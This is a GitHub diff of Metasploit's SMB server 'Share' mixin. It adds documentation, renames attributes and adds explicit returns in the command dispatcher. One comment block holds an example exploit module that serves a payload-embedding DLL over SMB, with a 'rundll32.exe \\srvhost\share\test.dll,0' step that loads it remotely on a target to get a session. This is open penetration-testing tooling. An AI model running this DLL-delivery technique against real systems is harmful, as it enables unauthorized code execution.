10
10
11
11
module Msf
12
12
module Exploit ::Remote ::SMB ::Server
13
- # This mixin provides a minimal SMB server
13
+ # This mixin provides a minimal SMB server sharing an UNC resource. At
14
+ # this moment it is capable to share just one file. And the file should
15
+ # live in the root folder "\\".
16
+ #
17
+ # @example Use it from an Auxiliary module
18
+ # require 'msf/core'
19
+ #
20
+ # class Metasploit3 < Msf::Auxiliary
21
+ #
22
+ # include Msf::Exploit::Remote::SMB::Server::Share
23
+ #
24
+ # def initialize
25
+ # super(
26
+ # 'Name' => 'SMB File Server',
27
+ # 'Description' => %q{
28
+ # This module provides a SMB File Server service
29
+ # },
30
+ # 'Author' =>
31
+ # [
32
+ # 'Matthew Hall',
33
+ # 'juan vazquez'
34
+ # ],
35
+ # 'License' => MSF_LICENSE,
36
+ # 'Actions' =>
37
+ # [
38
+ # ['Service']
39
+ # ],
40
+ # 'PassiveActions' =>
41
+ # [
42
+ # 'Service'
43
+ # ],
44
+ # 'DefaultAction' => 'Service'
45
+ # )
46
+ # end
47
+ #
48
+ # def run
49
+ # print_status("Starting SMB Server on #{unc}...")
50
+ # exploit
51
+ # end
52
+ #
53
+ # def primer
54
+ # print_status("Primer...")
55
+ # self.file_contents = 'METASPLOIT'
56
+ # end
57
+ # end
58
+ #
59
+ # @example Use it from an Exploit module
60
+ # require 'msf/core'
61
+ #
62
+ # class Metasploit3 < Msf::Exploit::Remote
63
+ # Rank = ExcellentRanking
64
+ #
65
+ # include Msf::Exploit::EXE
66
+ # include Msf::Exploit::Remote::SMB::Server::Share
67
+ #
68
+ # def initialize(info={})
69
+ # super(update_info(info,
70
+ # 'Name' => "Example Exploit",
71
+ # 'Description' => %q{
72
+ # Example exploit, the Server shares a DLL embedding the payload. A session
73
+ # can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
74
+ # from the target.
75
+ # },
76
+ # 'License' => MSF_LICENSE,
77
+ # 'Author' =>
78
+ # [
79
+ # 'Matthew Hall',
80
+ # 'juan vazquez'
81
+ # ],
82
+ # 'References' =>
83
+ # [
84
+ # ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
85
+ # ],
86
+ # 'Payload' =>
87
+ # {
88
+ # 'Space' => 2048,
89
+ # 'DisableNops' => true
90
+ # },
91
+ # 'Platform' => 'win',
92
+ # 'Targets' =>
93
+ # [
94
+ # ['Windows XP SP3 / Windows 2003 SP2', {}],
95
+ # ],
96
+ # 'Privileged' => false,
97
+ # 'DisclosureDate' => "Mar 02 2015",
98
+ # 'DefaultTarget' => 0))
99
+ #
100
+ # register_options(
101
+ # [
102
+ # OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
103
+ # ], self.class)
104
+ #
105
+ # deregister_options('FILE_CONTENTS')
106
+ # end
107
+ #
108
+ # def primer
109
+ # self.file_contents = generate_payload_dll
110
+ # print_status("File available on #{unc}...")
111
+ # end
112
+ # end
14
113
module Share
15
114
require 'msf/core/exploit/smb/server/share/command'
16
115
require 'msf/core/exploit/smb/server/share/information_level'
@@ -66,13 +165,32 @@ module Share
66
165
CONST ::SMB_WRITE_OWNER_ACCESS |
67
166
CONST ::SMB_SYNC_ACCESS
68
167
69
- attr_accessor :unc
168
+ TREE_CONNECT_MAX_ACCESS = CONST ::SMB_READ_ACCESS |
169
+ CONST ::SMB_READ_EA_ACCESS |
170
+ CONST ::SMB_EXECUTE_ACCESS |
171
+ CONST ::SMB_READ_ATTRIBUTES_ACCESS |
172
+ CONST ::SMB_READ_CONTROL_ACCESS |
173
+ CONST ::SMB_SYNC_ACCESS
174
+
175
+ # @!attribute share
176
+ # @return [String] The share portion of the provided UNC.
70
177
attr_accessor :share
178
+ # @!attribute path_name
179
+ # @return [String] The folder where the provided file lives.
180
+ # @note UNSUPPORTED
71
181
attr_accessor :path_name
182
+ # @!attribute file_name
183
+ # @return [String] The file name of the provided UNC.
72
184
attr_accessor :file_name
185
+ # @!attribute hi
186
+ # @return [Fixnum] The high 4 bytes for the file 'created time'.
73
187
attr_accessor :hi
188
+ # @!attribute lo
189
+ # @return [Fixnum] The low 4 bytes for the file 'created time'.
74
190
attr_accessor :lo
75
- attr_accessor :exe_contents
191
+ # @!attribute file_contents
192
+ # @return [String] The contents of the provided file
193
+ attr_accessor :file_contents
76
194
77
195
def initialize ( info = { } )
78
196
super
@@ -85,32 +203,41 @@ def initialize(info = {})
85
203
] , Msf ::Exploit ::Remote ::SMB ::Server ::Share )
86
204
end
87
205
206
+ # Setups the server configuration.
88
207
def setup
89
208
super
90
209
91
- print_status ( "Setup..." )
92
-
93
- # TODO: Improve tree directories support
94
- self . path_name = '\\'
210
+ self . path_name = '\\' # TODO: Add subdirectories support
95
211
self . share = datastore [ 'SHARE' ] || Rex ::Text . rand_text_alpha ( 4 + rand ( 3 ) )
96
212
self . file_name = datastore [ 'FILE_NAME' ] || Rex ::Text . rand_text_alpha ( 4 + rand ( 3 ) )
97
- self . unc = "\\ \\ #{ srvhost } \\ #{ share } \\ #{ file_name } "
98
213
99
214
t = Time . now . to_i
100
215
self . hi , self . lo = ::Rex ::Proto ::SMB ::Utils . time_unix_to_smb ( t )
101
216
102
217
# The module has an opportunity to set up the file contents in the "primer callback"
103
218
if datastore [ 'FILE_CONTENTS' ]
104
- File . open ( datastore [ 'FILE_CONTENTS' ] , 'rb' ) { |f | self . exe_contents = f . read }
219
+ File . open ( datastore [ 'FILE_CONTENTS' ] , 'rb' ) { |f | self . file_contents = f . read }
105
220
else
106
- self . exe_contents = Rex ::Text . rand_text_alpha ( 50 + rand ( 150 ) )
221
+ self . file_contents = Rex ::Text . rand_text_alpha ( 50 + rand ( 150 ) )
107
222
end
108
223
end
109
224
225
+ # Builds the UNC Name for the shared file
226
+ def unc
227
+ "\\ \\ #{ srvhost } \\ #{ share } \\ #{ file_name } "
228
+ end
229
+
230
+ # Builds the server address.
231
+ #
232
+ # @return [String] The server address.
110
233
def srvhost
111
234
datastore [ 'SRVHOST' ] == '0.0.0.0' ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
112
235
end
113
236
237
+ # New connection handler, executed when there is a new conneciton.
238
+ #
239
+ # @param c [Socket] The client establishing the connection.
240
+ # @return [Hash] The hash with the client data initialized.
114
241
def smb_conn ( c )
115
242
@state [ c ] = {
116
243
:name => "#{ c . peerhost } :#{ c . peerport } " ,
@@ -123,11 +250,13 @@ def smb_conn(c)
123
250
}
124
251
end
125
252
126
- #
127
- # Main dispatcher function
128
- # Takes the client data and performs a case switch
253
+ # Main dispatcher function. Takes the client data and performs a case switch
129
254
# on the command (e.g. Negotiate, Session Setup, Read file, etc.)
130
255
#
256
+ # @param cmd [Fixnum] The SMB Command requested.
257
+ # @param c [Socket] The client to answer.
258
+ # @param buff [String] The data including the client request.
259
+ # @return [Fixnum] The number of bytes returned to the client as response.
131
260
def smb_cmd_dispatch ( cmd , c , buff )
132
261
smb = @state [ c ]
133
262
@@ -141,25 +270,26 @@ def smb_cmd_dispatch(cmd, c, buff)
141
270
142
271
case cmd
143
272
when CONST ::SMB_COM_NEGOTIATE
144
- smb_cmd_negotiate ( c , buff )
273
+ return smb_cmd_negotiate ( c , buff )
145
274
when CONST ::SMB_COM_SESSION_SETUP_ANDX
146
275
word_count = pkt [ 'Payload' ] [ 'SMB' ] . v [ 'WordCount' ]
147
- if word_count == 0x0D # Share Security Mode sessions
148
- smb_cmd_session_setup_andx ( c , buff )
276
+ if word_count == 0x0d # Share Security Mode sessions
277
+ return smb_cmd_session_setup_andx ( c , buff )
149
278
else
150
- print_status ( "SMB Share - #{ smb [ :ip ] } Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... " )
151
- smb_error ( cmd , c , CONST ::SMB_STATUS_SUCCESS )
279
+ print_status ( "SMB Share - #{ smb [ :ip ] } Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... " )
280
+ return smb_error ( cmd , c , CONST ::SMB_STATUS_SUCCESS )
152
281
end
153
282
when CONST ::SMB_COM_TRANSACTION2
154
- smb_cmd_trans2 ( c , buff )
283
+ return smb_cmd_trans2 ( c , buff )
155
284
when CONST ::SMB_COM_NT_CREATE_ANDX
156
- smb_cmd_nt_create_andx ( c , buff )
285
+ return smb_cmd_nt_create_andx ( c , buff )
157
286
when CONST ::SMB_COM_READ_ANDX
158
- smb_cmd_read_andx ( c , buff )
287
+ return smb_cmd_read_andx ( c , buff )
159
288
when CONST ::SMB_COM_CLOSE
160
- smb_cmd_close ( c , buff )
289
+ return smb_cmd_close ( c , buff )
161
290
else
162
- smb_error ( cmd , c , CONST ::SMB_STATUS_SUCCESS )
291
+ print_status ( "SMB Share - #{ smb [ :ip ] } Unknown SMB command #{ cmd . to_s ( 16 ) } , ignoring... " )
292
+ return smb_error ( cmd , c , CONST ::SMB_STATUS_SUCCESS )
163
293
end
164
294
end
165
295
end
0 commit comments